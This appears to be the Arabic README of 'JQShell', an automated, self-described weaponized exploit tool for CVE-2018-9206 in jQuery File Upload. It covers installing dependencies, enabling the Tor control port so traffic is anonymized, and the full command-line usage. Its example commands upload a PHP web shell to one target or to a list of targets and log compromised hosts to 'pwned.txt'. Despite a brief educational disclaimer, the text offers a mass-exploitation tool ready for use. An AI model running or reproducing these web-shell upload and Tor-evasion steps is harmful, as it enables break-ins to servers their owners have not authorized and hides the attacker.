
أداة استغلال آلية لـ CVE-2018-9206 (jQuery File Upload) مع مسح أحادي/متعدد الأهداف، ودعم وكيل Tor (Tor proxy)، وتسجيل المخرجات لاختبار الاختراق والاستخدام التعليمي.

JQShell
نسخة مسلَّحة من CVE-2018-9206.
إخلاء مسؤولية
استخدام هذه الأداة ضد خوادم لا تملكها غير قانوني في معظم البلدان. المؤلف لا يتحمل أي مسؤولية عن أفعال من يستخدم هذا البرنامج لأغراض غير قانونية. هذا البرنامج مخصص للأغراض التعليمية فقط. لم يتم اختراق أي خوادم بشكل غير قانوني أثناء تطوير هذا البرنامج.
الميزات
هدف واحد أهداف متعددة Tor
المتطلبات الأساسية
يرجى تثبيت هذه الحزم المطلوبة.
Python3
pip3 install requests pysocks subprocess stem
منفذ التحكم في Tor
لاستخدام Tor في هذا السكريبت، يجب تحرير ملف torrc الخاص بك وتمكين منفذ التحكم على 9051.
عادة ما يكون هذا الملف موجودًا هنا: /etc/tor/torrc
افتح هذا الملف وقم بتغيير هذا السطر:
#ControlPort 9051
إلى
ControlPort 9051
أعد تشغيل خدمة tor
الاستخدام
usage: jqshell.py [-h] [-l LIST_INIT] [-t SINGLE_TARGET] -s SHELL_LOC
[-o OUTPUTZ] [-tor]
optional arguments:
-h, --help show this help message and exit
-l LIST_INIT, --list LIST_INIT
Select for a list of assets to exploit
-t SINGLE_TARGET, --target SINGLE_TARGET
Single exploit target
-s SHELL_LOC, --shell SHELL_LOC
This is required, put the fullpath to your shell
-o OUTPUTZ, --output OUTPUTZ
This is full path to were you want to save your list
of confirmed hosts
-tor, --tor_proxy Select if you have tor installed, you will need to
enable control port
أمثلة
تشغيل ضد هدف واحد.
python3 jqshell.py -t http://localhost/folderwerejqueryis -s /var/www/html/shell.php
تشغيل ضد هدف واحد، مع حفظ المخرجات.
python3 jqshell.py -t https://localhost/folderwerejqueryis -s /var/www/html/shell.php -o pwned.txt
تشغيل قائمة، مع حفظ المخرجات.
python3 jqshell.py -l /opt/jquery/test.txt -s /var/www/html/shell.php -o pwned.txt
المؤلف